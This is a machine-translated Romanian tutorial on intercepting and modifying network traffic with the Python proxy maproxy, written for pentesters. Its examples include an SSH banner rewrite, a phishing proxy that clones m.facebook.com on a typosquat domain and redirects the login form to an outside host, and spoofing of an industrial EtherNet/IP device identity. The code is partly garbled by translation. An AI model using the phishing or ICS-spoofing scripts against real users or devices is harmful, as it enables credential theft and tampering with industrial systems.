Procesați datele din rețea din mers

Traducerea articolului a fost pregătită în ajunul începerii cursului „Pentest. Practica de testare la penetrare".

Procesați datele din rețea din mers

adnotare

O varietate de tipuri de evaluări de securitate, de la testarea obișnuită de penetrare și operațiunile Red Team până la hackingul dispozitivelor IoT/ICS și SCADA, implică lucrul cu protocoale de rețea binare, adică, în esență, interceptarea și modificarea datelor de rețea dintre client și țintă. Mirosirea traficului de rețea nu este o sarcină dificilă, deoarece avem instrumente precum Wireshark, Tcpdump sau Scapy, dar modificarea pare a fi o sarcină mai laborioasă, deoarece va trebui să avem un fel de interfață pentru a citi datele rețelei, a le filtra, a schimba este din mers și trimite-l înapoi gazdei țintă aproape în timp real. În plus, ar fi ideal ca un astfel de instrument să funcționeze automat cu mai multe conexiuni paralele și să fie personalizabil folosind scripturi.

Într-o zi am descoperit un instrument numit maproxy, documentația mi-a clarificat rapid că maproxy – exact ce am nevoie. Acesta este un proxy TCP destul de simplu, versatil și ușor de configurat. Am testat acest instrument pe mai multe aplicații destul de complexe, inclusiv dispozitive ICS (care generează o mulțime de pachete) pentru a vedea dacă poate gestiona multe conexiuni paralele, iar instrumentul a funcționat bine.

Acest articol vă va introduce în procesarea datelor din rețea din mers folosind maproxy.

Revizuire

Instrument maproxy se bazează pe Tornado, un cadru de rețea asincron popular și matur în Python.

În general, poate funcționa în mai multe moduri:

  • TCP:TCP – conexiuni TCP necriptate;
  • TCP:SSL и SSL:TCP – cu criptare unidirecțională;
  • SSL:SSL – criptare în două sensuri.

Vine ca o bibliotecă. Pentru o pornire rapidă, puteți utiliza fișiere exemple care reflectă principalul funcțiile bibliotecii:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Cazul 1 – proxy bidirecțional simplu

Bazat pe tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

În mod implicit ProxyServer() are două argumente – locația conexiunii și portul țintă. server.listen() are un singur argument - portul pentru ascultarea conexiunii de intrare.

Executarea scriptului:

# python tcp2tcp.py

Pentru a rula testul, ne vom conecta la un server SSH local prin scriptul nostru proxy, care ascultă 2222/tcp port și se conectează la un port standard 22/tcp Servere SSH:

Procesați datele din rețea din mers

Bannerul de bun venit vă informează că exemplul nostru de script a transferat cu succes traficul de rețea.

Cazul 2 – modificarea datelor

Un alt script demonstrativ logging_proxy.py ideal pentru interacțiunea cu datele din rețea. Comentariile din fișier descriu metodele de clasă pe care le puteți modifica pentru a vă atinge obiectivul:

Procesați datele din rețea din mers

Cel mai interesant lucru este aici:

  • on_c2p_done_read – să intercepteze date pe parcurs de la client la server;
  • on_p2s_done_read - inversat.

Să încercăm să schimbăm bannerul SSH pe care serverul îl returnează clientului:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Executați scriptul:

Procesați datele din rețea din mers

După cum puteți vedea, clientul a fost indus în eroare deoarece numele serverului SSH pentru el a fost schimbat în «DumnySSH».

Procesați datele din rețea din mers

Cazul 3 – pagină web simplă de phishing

Există nenumărate modalități de a utiliza acest instrument. De data aceasta, să ne concentrăm pe ceva mai practic din partea operațiunilor echipei Roșii. Să imităm pagina de destinație m.facebook.com și utilizați un domeniu personalizat cu o greșeală de tipar deliberată, de exemplu, m.facebok.com. În scopuri demonstrative, să presupunem doar că domeniul este înregistrat de noi.

Vom stabili o conexiune de rețea necriptată cu proxy-ul victimelor noastre și SSL Stream la serverul Facebook (31.13.81.36). Pentru ca acest exemplu să funcționeze, trebuie să înlocuim antetul gazdei HTTP și să injectăm numele de gazdă corect și, de asemenea, vom dezactiva compresia răspunsului, astfel încât să putem accesa cu ușurință conținutul. În cele din urmă, vom înlocui formularul HTML, astfel încât datele de conectare să ne fie trimise în loc de serverele Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ro/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

În rezumat:

Procesați datele din rețea din mers

După cum puteți vedea, am reușit să înlocuim site-ul original.

Cazul 4 – Portare Ethernet/IP

Am de-a face cu dispozitive industriale și software (ICS/SCADA) de ceva timp, cum ar fi controlere programabile (PLC), module I/O, unități, relee, medii de programare ladder și multe altele. Acest caz este pentru cei cărora le plac lucrurile industriale. Hackingul unor astfel de soluții implică jocul activ cu protocoalele de rețea. În exemplul următor, aș dori să arăt cum puteți modifica traficul de rețea ICS/SCADA.

Pentru a face acest lucru, aveți nevoie de următoarele:

  • Network sniffer, de exemplu, Wireshark;
  • Ethernet/IP sau doar un dispozitiv SIP, îl puteți găsi folosind serviciul Shodan;
  • Scenariul nostru se bazează pe maproxy.

Mai întâi, să ne uităm la cum arată un răspuns tipic de identificare de la CIP (Common Industrial Protocol):

Procesați datele din rețea din mers

Identificarea dispozitivului se realizează utilizând protocolul Ethernet/IP, care este o versiune îmbunătățită a protocolului Ethernet industrial, care include protocoale de control precum CIP. Vom schimba numele ID-ului evidențiat, care este vizibil în captură de ecran „NI-IndComm pentru Ethernet” folosind scriptul nostru proxy. Am putea reutiliza scenariul logging_proxy.py și, în mod similar, modificați metoda clasei on_p2s_done_read, deoarece dorim ca un alt nume de identitate să fie vizibil pe client.

Cod:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

În esență, am cerut de două ori identificarea dispozitivului, al doilea răspuns a fost cel original, iar primul a fost modificat din mers.

Și ultimul

În opinia mea maproxy Un instrument comod și simplu, care este scris și în Python, așa că cred că și tu poți beneficia de pe urma utilizării lui. Desigur, există instrumente mai complexe pentru procesarea și modificarea datelor din rețea, dar necesită și mai multă atenție și sunt de obicei create pentru un anumit caz de utilizare, de ex. Muraena, Modlishka sau evilginx pentru cazuri similare cu a treia, sau canapea pentru ultimul caz. Într-un fel sau altul, cu ajutorul maproxy vă puteți implementa rapid ideile pentru interceptarea datelor din rețea, deoarece exemplele de scripturi sunt foarte clare.

Testarea mecanismelor de autentificare în Windows AD

Sursa: www.habr.com

Adauga un comentariu